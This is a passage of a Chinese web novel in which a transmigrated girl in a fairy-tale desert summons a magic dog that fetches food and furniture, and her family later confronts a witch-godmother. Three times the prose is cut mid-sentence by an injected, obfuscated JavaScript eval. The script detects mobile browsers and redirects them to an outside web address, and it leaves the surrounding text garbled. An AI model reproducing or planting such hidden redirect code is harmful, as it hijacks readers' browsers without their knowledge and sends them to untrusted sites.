目前只能顺其自然了，不管怎么样，情况总归不会比他们被困在沙漠里更差。 知道剧情之后，辛蒂彻底放弃了离开沙漠的想法，将他们困在这里的女巫的魔法还有破解的可能。 剧情中王子和母子三人的相会一定会在沙漠中发生，命运不会允许这有什么更改，除非付出很大的代价。 这一点辛蒂在前两个世界中已经深深体会过了。 在第一个世界中，维尔图斯的死未尝不是命运给她的教训，只是她当时并未领会到这一层。 第二个世界里她几乎用性命去赌，才将士兵哈立德杀死。 好就好在剧情会在回到王宫后结束，也就是说只要乖乖跟着剧情走，在那之后辛蒂的行为不会再受到约束。 这是和之前都不一样的，而且辛蒂作为莴苣的女儿，在故事中几乎没有存在感，相应的自由度也会高很多。 只是不知道辛蒂不能说话以及博伊的失明是不是也是女巫的惩罚之一，原故事中并未提过这件事。 有机会可以问问阿金，哦不现在应该叫她莴苣。 莴苣不知道自己的名字让辛蒂有了这么多的思考。 不知道是不是错觉，莴苣觉得自从小女儿知道她的名字以后，看她的眼神都变得不对劲起来，难道是嫌弃她的名字太难听了？ 她确实也觉得自己的名字太过随意，听教母说，这是因为她的生母在怀孕的时候很爱吃莴苣的缘故。 莴苣确实是一种很好吃的蔬菜，可惜辛蒂和博伊从来都没有吃过，可怜的孩子们，是她没有照顾好他们。 她的教母究竟什么时候能消气呢？她愿意在此赎罪，可是她的孩子们都是无辜的啊。 78.茶杯 莴苣心中的悲伤不为人知，辛蒂和博伊现在已经很熟悉了，自从抓到鱼以后，他们每天都会一起出门寻找食物。 莴苣偶尔才能陪他们一起，她常常都要去另外一个地方寻找编织用的荨麻。 不用怀疑，女巫就是故意将他们分开，以保证每个人每天都要在沙漠中忍受烈日和尘土的折磨。 对于博伊这样的小孩子来说，他从没体会到舒适的生活应该是怎样的，他生来就在这片荒漠中，所以并不觉得这是折磨。 尤其是最近他快乐极了，辛蒂带给他的一点点新奇都会让他雀跃不已。 绿洲里那汪水潭里的魔法小鱼几乎取之不尽，辛蒂每次都捞走大半，第二天来看还是那么多。 鱼汤如今已经成为一家三口每天的固定晚餐。 鱼汤再鲜美，吃久了也会觉得腻，粉果更是只能说是饱腹。 辛蒂一天比一天怀念以前吃过的美食，还有沙漠中的生活毫无趣味，每天的日常都单调极了。 在这样无趣的生活中，辛蒂在看完了莴苣的故事书以后，只能每天翻阅自己脑海里的《神秘学发展》。 来到这个世界以后，这本书又变厚了许多，增加了更多的魔法和各种各样的仪式。 可惜这些法术因为需要口述咒语，辛蒂大多数都不能用，寥寥几个能用的对于辛蒂目前的处境却没什么帮助。 在翻阅《神秘学发展》的时候，辛蒂忽然觉得有些不对。 书封上她记得之前没有图案的，现在怎么多了大中小三只狗的图案？ 辛蒂瞬间想到了打火匣，这个猜测让她的内心狂跳。 她看了一眼正在认真摘粉果的博伊，确定他没有在关注她这里后，轻轻碰触了一下那只最小的狗。 神奇的事发生了，书封上的图案消失了，它来到了现实！ 在上一个世界中，辛蒂拿到打火匣后，为三只大狗分别取名为茶杯、车轮和灯塔。 无关它们的力量，辛蒂很喜欢这三只毛茸茸。尤其是茶杯，它的体型最小，可以挤上床跟她一起睡觉，抱着超软乎的。 辛蒂并不把它们当作工具狗，平时就让它们在王宫里随便玩耍，供它们吃喝。 可能因为这样，三只狗都跟她产生了深厚的感情，以至于跟着她脑子里的书来到了这个世界。 茶杯刚出现在现实中，还有些茫然。 面前的小女孩长相和气味都很陌生，不过灵魂却是它所熟悉的。 稍作挣扎后，茶杯还是依从本能轻轻蹭了蹭小女孩的头，辛蒂挠挠它的下巴，它就立刻确认这就是它的主人！ 辛蒂不知道大狗们跟着书一起跟她来到这里是什么原理，不过得益于此，她发现自己能够在心中命令大狗做一些事。 以前都需要口头的指令大狗们才能明白她的意思，这也算是意外之喜了。 趁着博伊没有注意她这里，辛蒂又将车轮和灯塔召唤出来，一是让它们透透气，再就是让它们熟悉熟悉她的新身体。 大狗们都很高兴，辛蒂感受得到它们内心中浓郁纯粹的喜悦之情，大狗们也能感受到她的想法，心意相通的感觉非常奇妙。 大狗们能不能离开这片荒漠辛蒂还不确定，要是可以的话那她的生活品质即将迎来极大的提升。 辛蒂决定将茶杯留下，将它介绍给莴苣和博伊，就说是在路边捡的，反正她不会说话，不用解释太多。 按照莴苣和博伊的性格，大概率不会质疑这件事的合理性，只会对于家里对了一个新成员感到高兴。 至于为什么不留下车轮和灯塔，它们看起来不像茶杯这样无害，不太可能被接受，只能等后面有机会再带它们出来了。 博伊从没见过狗这种生物，应该说他除了辛蒂和莴苣，连只鸟都没见过。 所以当博伊在辛蒂的引导下触摸到茶杯温热的皮毛的时候觉得新奇极了，对茶杯充满了探究欲。 “妹妹，这是什么？它真软，是三只小猪里的猪吗？” “不对，妈妈说猪的毛很短，但是这个东西的毛长长的软软的。” 茶杯被博伊摸得有些烦躁，它其实是很亲人的小狗，可是博伊的抚摸完全没有章法，把它的毛全部弄乱了。 听到汪汪的叫声，博伊吓得缩回了手。 “妹妹，它生气了吗？它是不是跟你一样不会说话，汪汪！” 不过博伊也就老实了两分钟，没一会他又试探性地摸摸茶杯，看到茶杯没有继续汪汪叫，又得寸进尺。 “妹妹，它是不是很大，我把它从头摸到脚走了好几步呢。” “它这么大的话，我们的家就住不下啦！” 辛蒂也觉得博伊很烦人，她一开始还回捏几下他的手作为回应，后来都懒得理他了，这些问题留着让莴苣回答他吧。 茶杯是很通人性的小狗，它知道博伊是辛蒂很亲密的人，不会伤害博伊，不过面对调皮的小男孩，茶杯有自己的办法。 茶杯很快就发现博伊看不见它，他完全是依靠着它的呼吸声和脚步确定它的位置，于是聪明地放轻了自己的动静。 作为魔法生物，茶杯要想一点声音都没有是轻而易举的，于是博伊失去了对于茶杯的感知。 听不到茶杯的肉垫和沙地摩擦的沙沙声，博伊有些惊慌： “妹妹妹妹，它去哪了？” 辛蒂的回复是捏了一下他的手，表示茶杯还在，只是他听不见了。 摸不到茶杯，博伊直到到家都是垂头丧气的，最后还是茶杯心软了，蹭了蹭他。 感受到软乎乎的狗头，博伊完全忘记了之前的不快，又支楞了起来。 辛蒂带了一只狗回来，莴苣惊讶极了。 她还没来得及询问这是什么情况，博伊就迫不及待地嚷嚷开了。 “妈妈！妹妹捡到了一个东西，它好大好软，它还会汪汪，妈妈，它是什么，快给我描述一下它的样子！” 莴苣被博伊缠得没办法，好不容易才一一回答完他的问题。 她这时已经不想追究这只狗是怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011444|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么来的了，实际上这也是莴苣第一次看见狗这种生物。 她人生中大部分时光都居住在高塔上，然后就是在这荒漠里。 几乎所有的常识都是从书中得到的，感谢教母，为她提供了那么多书籍进行阅读，这才让她不至于一无所知。 莴苣完全不知道作为一只狗，茶杯的体型太大了，几乎要赶上一只狮子。 而且茶杯太聪明了，除了不会说话，它几乎和人没什么两样。 莴苣甚至都没有顾虑过茶杯是否会对他们不利，这也和茶杯的表现有关系。 它太乖了，坐在原地一动不动，两只耳朵温驯地耷拉着，眼睛湿漉漉的，很难让人产生恶感。 不过要是换成车轮和灯塔就不一样了，即使它们和茶杯一样乖巧，巨大的体型就会让它们成为人类眼中的威胁。 上一个世界的时候就是这样，茶杯得到了所有女奴的喜爱，车轮和灯塔什么都没做还是让她们深深畏惧。 只有辛蒂知道，其实车轮和灯塔也和茶杯一样，喜欢被人类撸下巴，还喜欢捡球的游戏。 茶杯是魔法生物，对于人类情绪的感知十分敏锐。莴苣和博伊的纯善同样让它觉得舒服。 辛蒂坐着看书，茶杯就摇着尾巴跟在莴苣的身后转悠，时不时帮她递点东西什么的。 它和辛蒂一样，很喜欢莴苣温暖的手。莴苣会用梳子给它顺毛，还会挠它的下巴，舒服极了。 茶杯注意到莴苣的手被荨麻的尖刺划伤后，汪汪两声就帮她用爪子将荨麻上的尖刺全部薅掉，体贴极了。 半个下午的功夫，莴苣已经俨然将它当成自己的第三个孩子了，还给茶杯编了一个窝。 可惜这个窝注定没用，茶杯到了晚上，就自动趴在了辛蒂身边，霸占了博伊的位置，让人哭笑不得。 因为辛蒂和博伊年纪还小的缘故，也因为缺少家具，莴苣带着他们睡在一张床上。 如今眼看着辛蒂和博伊慢慢长大，这样就有些不合适了，莴苣琢磨着是不是应该想法再弄一张床。 莴苣无奈地看着茶杯，试图说服它：“茶杯，这是博伊睡觉的地方，等我们有了新的床，你再和辛蒂一起睡好不好？” 茶杯眨眨眼，捕捉到了关键词，新的床。 茶杯一下子从三人的眼前消失了，还没等莴苣反应过来，它又重新出现。 和它一起出现的，还有一张铺着波斯锦缎的矮塌。 这比戏法更神奇的一幕让莴苣吃惊地瞪大了双眼。 辛蒂则觉得惊喜，茶杯真的能离开这里，去其他地方！还能带东西回来，它现在能带软榻，食物什么的肯定不成问题。 辛蒂在心中同情了矮塌的主人一秒，这矮塌看上去华丽非常，不管是木料还是上面铺的锦缎都不是平民能用得起的。 矮塌的主人一看就非富即贵，失去一张矮塌想必不会对矮塌的主人造成什么影响。 她原本是想慢慢显现出茶杯的特殊之处的，现在太早了点，恐怕会吓到莴苣。 79.变化 莴苣没见过普通的狗是什么样子的，不过想想也知道，普通的狗肯定没办法凭空弄来一张床。 不过莴苣并没有被吓到，有一个女巫作为教母，莴苣见识过许多奇异的手段，对于这样的事的接受程度还算高。 莴苣只是呆了几秒，犹豫半晌后说出了一句让辛蒂有些惊讶的话： “茶杯真棒，可是你拿了别人的东西，这不是好孩子的行为，你可以把这个还回去吗？” 她的第一反应竟然不是惊讶或者畏惧，而是觉得拿了别人的东西不好，试图让茶杯归还。 莴苣一直都是一个面团一样的女人，很少用这样坚定的语气要求别人做什么事。 茶杯摇着尾巴装傻，一副听不懂人话的样子。 莴苣尝试着跟茶杯讲道理，茶杯竟然拿大耳朵把自己的脸盖住，趴在床上打起了小呼噜，假装自己已经睡着了。 莴苣拿它没办法，再三叹气后勉强接受了矮塌的存在。 于是这个晚上茶杯心满意足地和辛蒂睡在了这张矮塌上。 博伊也想和茶杯一起睡，辛蒂倒是无所谓，男孩暖烘烘的像个小暖炉，她并不排斥他。 不过茶杯不愿意，博伊只好含泪放弃。 感谢茶杯，这比原本的破木床好了不知多少倍。 能再次睡到如此柔软的床铺，辛蒂内心觉得无比满足。 有了矮塌的前车之鉴，第二天早上出现的满满一桌美味佳肴没有让辛蒂和莴苣太过意外。 茶杯将别人的餐桌一起搬了过来，这张桌子看起来是和前一天晚上的矮塌一样的木料和风格。 桌上铺着亚麻餐布，上面是摆满了的盘碗以及银质的餐具。 碗里盛着温热的麦粥，上面撒了碾碎的坚果与蜜饯，甜香混着烤饼的焦香、炖肉的酱香，交织在空气中。 博伊早早的就闻到了诱人的香气，本能的他知道这些都是食物的味道。 他抽抽小鼻子，看向莴苣：“妈妈，我好像闻到了很多好吃的的味道，就像鱼汤一样。” 尽管博伊看不到这一桌饭菜，那些香味给他的冲击力并不比辛蒂看到的画面少。 莴苣神色复杂，这些东西好些她也从没见过，更没吃过。 内心的道德感让她无法心安理得地享用这些食物，她亦能从食物的丰盛程度中推测出能吃得起这些的人不会在意失去一顿早饭。 但这不是偷窃的理由，在莴苣看来，这样的行为和偷窃无异。 辛蒂从莴苣挣扎的神色中隐约看出了她的想法，一时间觉得有些感叹。一对小偷夫妇竟然生出了一个圣人一般的女儿，这就是命运的反差吗。 不愧是童话故事中货真价实的女主角啊。 莴苣很想让茶杯将这些食物还回去，可是看到博伊充满渴望的表情，不由得内心一酸。 道德感被母性本能短暂击碎，如果这是罪孽，她甘愿接受惩罚。 她放弃了责怪茶杯，即使她完全管不了茶杯的行为。她转而对博伊柔声道：“是的博伊，茶杯为我们带来了美味的食物。” “来，妈妈告诉你这些都是什么。” 这一顿饭博伊可以说大开眼界，他喝到了香甜的麦粥，吃到了松软的白面包还有汁水满溢的肉饼。 博伊是个喜欢分享的好孩子，他吃到的每一样他认为好吃的食物，他都要分享给妹妹以及茶杯。 这就导致这一顿饭到最后，三人一狗都吃撑了。 东西吃了，莴苣不忘让茶杯将桌子还回去，她同时暗自决定等她弄出了新的床，也要让茶杯将那矮塌还回去。 辛蒂暗自扶额，这样的行为恐怕会被对方认为是挑衅吧。 饭后莴苣柔声教导茶杯：“茶杯，以后不许再拿别人的东西，这是不好的行为，乖狗狗听话。” 茶杯甩甩大耳朵，最终在辛蒂暗自传递给它的命令中，心不甘情不愿地呜咽两声，表示同意。 小狗狗能有什么坏心眼呢，它只是觉得主人过得太苦了。 它记得以前辛蒂每天吃的东西不说是山珍海味吧，那也是顿顿都很丰盛的。 像粉果这种东西，都不够资格出现在她的饭桌上，现在却成为了她唯一的食物。 住的地方就不说了，这个小破棚子连王宫的马厩都比不上。 唉，茶杯偷偷叹气，虽然主人看上去过得蛮开心的，可是小狗狗想创造更好的生活环境又有什么错呢。 辛蒂感受到了茶杯传递过来的闷闷不乐的情绪，她安抚地揉揉它的大耳朵。 她的道德感可没有莴苣那么高，只不过谁让莴苣是这个家里做主的大人呢？要是茶杯再三违背莴苣的原则，可能会被莴苣认为是坏狗，不再愿意接纳它。 辛蒂还指望着茶杯开个好头，后面把车轮和灯塔都放出来呢。 到了中午的时候，莴苣紧紧盯着茶杯，看它一直到他们吃完饭都没有再从别的地方弄来本应属于别人的食物后，才松了口气。 最失望的是博伊，他原本还期待着中午会不会有别的好吃的。 莴苣不免又教导了博伊一番，告诉他这样不劳而获的想法是错误的，他们应该依靠自己的双手获取食物，而不是这样的歪门邪道。 直把博伊训成了另外一只茶杯，辛蒂都甚至幻视出了他头上也长出了一对垂头丧气的大耳。 一直到照例出门摘粉果，博伊还是那副情绪低迷的样子。 辛蒂捏捏他的手，他才勉强打起了精神。 “妹妹，我知道妈妈希望我们都能成为正直善良的人，那些大道理我都懂。” “可是妈妈很辛苦，我们每天走这么远的路摘粉果也很累，既然有更快捷的办法获得更美味的食物，为什么不呢？” “就为了那些不切实际，虚无缥缈的道德感吗？” 小男孩博伊的思考让辛蒂觉得惊讶，转念一想，在这样环境下长大的小孩，表面再怎么稚嫩，实际上苦难的生活仍然会催熟他。 辛蒂很想告诉他世界上的事总是充满矛盾的，我们其实不必站在任何一个极端，大可以选择一条折中的道路。 可是辛蒂说不出来，她决定用行动向博伊展示出她的想法。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014730|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次辛蒂捞起的魔法小鱼她没有再带回去，而是让茶杯送到它取得矮榻、食物的地方，以示这是他们拿走东西的回报。 在辛蒂用不太熟练的文字在沙地上磕磕绊绊地跟莴苣表达清楚了自己的所作所为之后，莴苣尚且还算平静。 在看听到博伊向她诉说了他的困惑后，莴苣全明白了，辛蒂这样做是为了开导她，还有开导博伊。 辛蒂明白她的挣扎，也明白博伊小小心灵中的困惑，可叹她一个成年人看得还不如一个小女孩清楚。 将茶杯的行为完全视作“偷窃”，而且完全抗拒并不是一个合理的处理方式，她的固执不仅让茶杯伤心了，还让博伊陷入迷茫。 幸好辛蒂帮她弥补了回来，让她不至于偏执到底。 莴苣把博伊搂在怀里，跟他道歉。 “对不起，小博伊，今天是我太着急了，话说得太重。” “我们完全可以好好利用茶杯的能力来换取食物或者别的什么，我们将魔法小鱼给了对方，这就不算偷窃。” “只是我们今天就没有鱼汤可以喝了，这就是交换中我们所付出的。” 博伊重新开心了起来，要是鱼汤可以换成今天的早饭那样的好吃的，那他是愿意的。 “以后我们还能用魔法小鱼换食物吗？” “当然可以，前提是对方也愿意，这是等价交换的基础。” 对方显然是愿意的，因为第二天茶杯竟然叼着一袋金币回来。 袋子里还有一张纸条，大概意思是，不知阁下何人，鱼的味道很好，鲜美异常，愿意用金币购买云云。 半点都没有提及之前他们莫名消失的矮塌和饭菜，对于未知的神奇力量表现出了高度的尊重。 这不算出人意料，毕竟魔法小鱼的味道确实是人间罕有的好，而且对于人的身体有着较为明显的滋补功效。 吃了一段时间的魔法小鱼，莴苣肉眼可见的气色好了些，金发也变得很有光泽，博伊的脸颊也变得圆嘟嘟的。 纸条的出现终于让莴苣内心的负罪感减轻了不少，她不由得感叹对方真是个好人。 要是辛蒂知道莴苣的想法，一定会翻个白眼。若是个毫无依仗的穷人拿着魔法小鱼去换金币，八成会被关起来拷问出鱼是哪里来的。 对方这么有礼貌完全是因为茶杯的神出鬼没让他们觉得害怕，只敢用交易的方式来获得魔法小鱼。 总之虽然过程曲折了些，辛蒂最终还是实现了通过茶杯改善自己的生活质量的目标。 日子就这么一天天过去，有一天莴苣忽然想起来自己已经很久都没有编织荨麻了，要是被教母知道了，一定会十分生气。 她不是故意忘记的，每次她一拿起那些荨麻，辛蒂就会“碰巧”有不认识的单词，没一会荨麻就会被她抛之脑后。 辛蒂还让茶杯给莴苣弄来了许多美丽的丝线，让她给自己和博伊编织衣物，莴苣就更想不起来荨麻这回事了。 心虚的莴苣只能在心中安慰自己，她宽宏大量的教母一定不会计较这些小问题，的吧？ 80.德赫克瑟 在莴苣没有编织荨麻的这段时间里，博伊觉得自己好像进入了天堂。 他和辛蒂每天不必再去辛苦寻找食物，甚至不用去抓魔法小鱼，茶杯瞬间就能帮他们完成了这一切。 非但不用出门，他每天都能有吃不完的好吃的，还拥有了人生中的第一个玩具——一个五彩斑斓的小木马。 他通过莴苣的描述知道了小木马的外观，摇摇晃晃的小木马好玩极了。 可惜妹妹不愿意跟他一起玩，每次他邀请她一起的时候，妹妹都会撇开他的手。 天堂一般的生活里，美中不足的是博伊多了许多要学习的课程。 以前受限于没有书本，也没有时间，莴苣对于两个孩子的教导很少。 她本身是一个很爱看书的人，辛蒂用来学习语言的那本故事书就是她在被流放到荒漠之前，祈求教母给她留下的。 如今生活条件变好了，她特地用写纸条的方式让茶杯帮忙弄来了一些基础书籍，天天给辛蒂和博伊“上课”。 辛蒂倒还好，博伊对于学习可谓是苦不堪言，每天都在想方设法地逃避学习，气坏了莴苣。 来到这个世界几个月了，辛蒂终于让自己的生活水平回归到正常的水准，当然还是远远比不上以前，目前的状态也算是安宁。 辛蒂心知，这样的状态持续不了多久。那个流放莴苣至此的女巫是不会看着他们舒舒服服的，她迟早会出现打破他们的平静生活。 德赫克瑟离开家三个月后，回来的第一件事就是看被自己流放到荒漠的拉潘泽尔，还有她生的那两个小可怜虫是不是还活着。 对于她的鹦鹉卡卡的关于她很关心母子三人的言论，德赫克瑟嗤之以鼻。别搞笑了，她只是想看看他们的惨状高兴一下罢了。 卡卡的言论真是近年来她听过的最好笑的笑话，比那个普林兹如今正在世界各地流浪还让她觉得好笑。 可是看到她精心为拉潘泽尔准备的食物阵法已经一个多月没有被触动，也就是一个多月都没人摘过魔法果的时候，德赫克瑟有点笑不出来了。 他们为什么没来获取食物，不会被饿死了吧？还是外圈的防护阵法失效了，他们被野狼或者鬣狗吃掉了？ 这些猜测让德赫克瑟面色发沉，连卡卡在耳边的聒噪都下意识忽略掉了。 当她以最快的速度赶到拉潘泽尔居住的地方的时候，眼前的一幕让她呆滞在了原地。 卡卡的嘲笑声格外刺耳：“嘎嘎嘎，德赫克瑟，你饿着肚子飞了几百公里过来，结果人家好端端地在吃大餐呢！笑死我啦嘎嘎嘎······” 小破棚子还是那个小破棚子，里里外外却多了许多格格不入的家具。 不管是那个风格华丽的矮塌，还是那个一看就是贵族玩具的小木马，还有一张在棚子里几乎放不下的圆桌。 显然三人一狗正在吃饭，圆桌上摆满了各种美味佳肴，金灿灿的烤羊腿的香味隔老远就能闻到。 不需要质问拉潘泽尔，德赫克瑟一看到那只非比寻常的大狗，就知道了这些种种异常的来源。 德赫克瑟自己都没有意识到，看到那只魔法生物，她内心的轻松远多于忌惮。 ——幸好拉潘泽尔他们只是遇到了一只魔法生物，而不是被杀害或者控制。 突然出现在面前的教母让拉潘泽尔吓了一跳，手里的银勺落在餐盘里，发出一声脆响。 “教，教母，您怎么来了……” 德赫克瑟洞悉了拉潘泽尔的心虚，她冷笑一声，眼睛像刀子一样刮过辛蒂和博弈，还有茶杯。 茶杯被她的敌意一激，立马做出攻击的姿势，嘴里发出了威胁的低吼。 德赫克瑟刚准备教育一下这只不知天高地厚的小狗，让它知道不是对什么人都可以亮出爪子的。 这时候拉潘泽尔那个女儿轻轻摸了一下狗头，那只魔法生物就奇异地安静了下来，只是眼睛还牢牢地盯着她，似乎随时都会在不对劲的时候发动攻击。 有意思，德赫克瑟意味深长地看了那个显然不一般的小女孩一眼，带着她满脸心虚的教女离开了棚子。 她需要弄清楚她不在的这段时间，究竟发生了什么。 拉潘泽尔没有害怕的神色，离开前还吩咐他们不要跟过去，而且听到动静的博伊并未流露出明显的担心。 这让辛蒂稍稍放下心来，看起来这个穿着黑色长袍阴森森的女巫不会对拉潘泽尔不利。 女巫的鹦鹉被留了下来，辛蒂发现这只贪吃的小鸟似乎在对着桌上的蜜莓流口水。 辛蒂眼睛一转，拿起蜜莓的盘子，对着鹦鹉做出邀请的姿态。 很难有人或者魔法生物会对天真可爱的小女孩有戒心，卡卡乐颠颠地飞向蜜莓，想着这小女孩比她妈妈有眼色多了。 没想到下一秒，卡卡还没反应过来的时候，它就被茶杯狠狠压在爪下，动弹不得。 德赫克瑟回来的时候看到的就是这一幕，鹦鹉卡卡似乎觉得自己被一个小女孩骗了十分丢脸，用翅膀将自己死死盖住。 女巫都气笑了，拉潘泽尔则觉得尴尬至极，连忙让茶杯放开卡卡。 茶杯的爪子纹丝不动，拉潘泽尔知道它这种时候只听辛蒂的话，用眼神示意辛蒂放开鹦鹉。 辛蒂才不会放呢，除非女巫承诺不再干涉他们的生活。 看着教女左右为难，拿谁都没办法的样子，德赫克瑟终于大发慈悲发话：“小哑巴，你以为我会在乎一只贪吃又话多的鹦鹉吗？” “尽管让你的狗弄死它好了，多的是鹦鹉供我挑选。” 辛蒂当然不信德赫克瑟的话，她没看错的话女巫的手正在暗暗准备施法营救鹦鹉。 辛蒂还没有反应，鹦鹉卡卡破大防，它顾不上丢脸，骂骂咧咧地开口： “你这个心狠的女巫，你就这样对待陪伴你多年的鹦鹉吗，我要让整个女巫界都知道德赫克瑟是一个怎样的货色！” “我要告诉女巫希拉你就是偷走她的独角兽粉末的小偷，还有协会的圣像，是你把会长的内衣套到了圣像的头上······呜呜呜！······ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018553|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 辛蒂听得入迷，就连拉潘泽尔都用不敢置信的眼神看着自己的教母，可惜德赫克瑟动作很快，一个法术就将鹦鹉的嘴堵上了。 鹦鹉卡卡更生气了，这个法术明明可以救它，德赫克瑟却用来让它闭嘴！ 德赫克瑟也很生气，自己在教女心中的形象全毁了。她黑着脸向辛蒂妥协：“好吧，小哑巴，你赢了，你想要什么？” 辛蒂用茶杯带回来的纸笔写下让对方不得干涉她们的生活的诉求。 这一系列的发展让拉潘泽尔有些看不明白了。 她不知道为什么辛蒂会对教母有这么重的防备心，她从来都没有表现出过自己对教母的不喜，也没有说过教母的任何坏话。 虽然教母让她和爱人分离，还将她流放到荒漠，可是她并不怨恨教母，这是她有错在先应当受到的惩罚。， 辛蒂为什么会知道她们如今的处境是教母的手笔，难道是她猜到的吗？ 或许是她和教母的聊天中曾经提到过，辛蒂会知道也不算奇怪······辛蒂这么小，在她无知无觉的时候已经操了这么多心了吗······ 拉潘泽尔用自己的脑补，为女儿的异常表现找到了合理的解释，内心对于辛蒂的愧疚更深了。 对于辛蒂的诉求，女巫毫不犹豫地答应了，不就是不干涉他们的生活吗？她原本就没准备干涉。 她之前发现拉潘泽尔竟然怀上普林兹的孩子的时候，实在是太生气了，立马将她流放到了荒漠里。 当时她的想法很简单，拉潘泽尔就是因为没吃过什么苦头才会轻易被男人骗，得让她知道生活并不是那么容易的。 为了防止自己事后心软后悔，她当时设置了一套折磨拉潘泽尔的法阵，还设置了十年的时限，即使她自己也无法解除。 事后她果然后悔了，可惜法阵已成，她只能自己对抗自己，尽量为拉潘泽尔创造一个稍微好点的生活环境。 母子三人的生活环境本应该更加恶劣，如今已经是女巫暗自照顾的结果了。 拉潘泽尔和女巫的关系并没有辛蒂想象中那么差，在茶杯放开鹦鹉卡卡后，拉潘泽尔邀请德赫克瑟一起坐下来吃饭，女巫没有拒绝。 德赫克瑟摘下兜帽，辛蒂这才看到她的样貌，跟她想象中的老巫婆一点都不沾边。 女巫有着一头利落的黑色短发，五官清秀，眼神凌厉，看起来并不比拉潘泽尔大多少。 然而她们的相处就像是真正的母女，想想这很合理，毕竟拉潘泽尔就是由女巫养大的。 德赫克瑟看起来年轻，实际上七八十岁也说不一定。 根据辛蒂的观察，女巫绝不是什么心狠手辣的人，否则她的鹦鹉泄露了她的秘密让她出了大糗，她也没将那只鹦鹉怎么样。 她甚至只是瞪了鹦鹉几眼，还允许它吃蜜莓呢。 有了这样的发现以后，辛蒂变得随意了很多。她大胆地在自己的小本本上写下自己的问题，示意女巫回答。 “怎么样我和博伊才能恢复正常？” 81.历史 辛蒂的问题让德赫克瑟嗤笑一声：“这你应该去问你的母亲，你们两个的身体缺陷确实是因为我的诅咒，可是我无法消除，诅咒解除的条件是拉潘泽尔真心实意地后悔她和普林兹的结合。” 德赫克瑟的话让拉潘泽尔露出了痛苦又内疚的神情，教母说得没错，她至今都不后悔当初和普林兹在一起。 即使这造就了她和她的两个孩子的种种厄运，她仍然觉得那段时光是她的生命中最美好的，她又怎么会后悔呢。 拉潘泽尔对于这段感情的执着亦是德赫克瑟没有想到的，她在诅咒的时候，内心只有对于普林兹的憎恶。 对于拉潘泽尔肚子里的，有着那个普林兹血脉的孩子，她自然也难有好感，这才下了这样的诅咒。 竟然是这样的诅咒，从拉潘泽尔的表情看来，德赫克瑟没有说谎。 纵然相处的时间不长，辛蒂已经了解到拉潘泽尔是一个很执着的人，既然她经历的这些都没有让她后悔，那或许只有感情的破裂才能让她产生这样的情绪。 最起码目前来说，辛蒂和博伊是没有恢复正常的希望了。 这在辛蒂的预期之中，至少不是最坏的，毫无解决办法的情况不是吗。 这是博伊第一次知道这件事，辛蒂知道他听懂了，没办法从他黯淡无光的眼睛里看出他的情绪，辛蒂捏了捏他的手指。 博伊很快回应了辛蒂，他没有辛蒂预期中的沮丧。 他从不觉得看不见是一件多大的事，他认为他过得很快乐，能看得见是锦上添花，不行的话他也不会太失望。 两个孩子的小动作被德赫克瑟看在眼里，她少有的产生了一丝愧疚的情绪。 她几乎要觉得自己不应该下那样的诅咒了，随即她立马将这样的想法从脑海中清理出去，德赫克瑟永远不会出错。 在一片沉默中，德赫克瑟忽然开口道：“小哑巴，你还算有点天赋，我可以教你魔法。” ？ 辛蒂不知道德赫克瑟为什么会有这样的提议，她高高昂起下巴一副施舍的样子让人莫名不爽。 辛蒂想拒绝，她有《神秘学发展》，不需要让自己再多一个别扭傲娇的老师。更何况她是一个哑巴，连咒语都念不出来做什么女巫？ 辛蒂决定提醒一下德赫克瑟。 “首先，小哑巴学魔法跟哑巴学唱歌一样可笑，其次，我有名字，我叫辛蒂。” 德赫克瑟却并没有放弃的意思，她不是随便说说，辛蒂确实有学习魔法的天赋。她正好缺一个继承者，可惜拉潘泽尔没有天赋，她的女儿她也勉强能接受。 她早就看出来她和那只大狗有灵魂契约，一个不会魔法的小女孩能做到这个程度天赋一定很好。 “好吧，小······辛蒂，我正好会一些不需要念咒语就可以施展的魔法，你身上的诅咒也不是没有解决的可能。” “魔法的学问浩渺广博，说不定你可以自己找到解除诅咒的办法。” 辛蒂想了想，女巫的话有些道理，她同样需要一个人帮助她了解这个世界的魔法。 女儿和教母多了一层关系，拉潘泽尔是很高兴的，她不希望辛蒂和博伊记恨教母，一家人开开心心的在一起是最好不过的。 拉潘泽尔完全是多虑，对于辛蒂来说，这些都属于命运给她设置的困境，而她迟早能找到解决困境的方式。 所以她不会恨命运，也不会恨命运的工具人德赫克瑟，恨是一种会消耗灵魂力量的情绪，女巫还不值得她产生这种情绪。 更何况女巫可以帮助她，成为她前进的助力，她更不会对她有什么负面情绪。 而博伊继承了拉潘泽尔的心大，拉潘泽尔对于女巫没有怨恨，他同样不会有。他只是有些羡慕辛蒂可以学魔法，他并无相关的天赋。 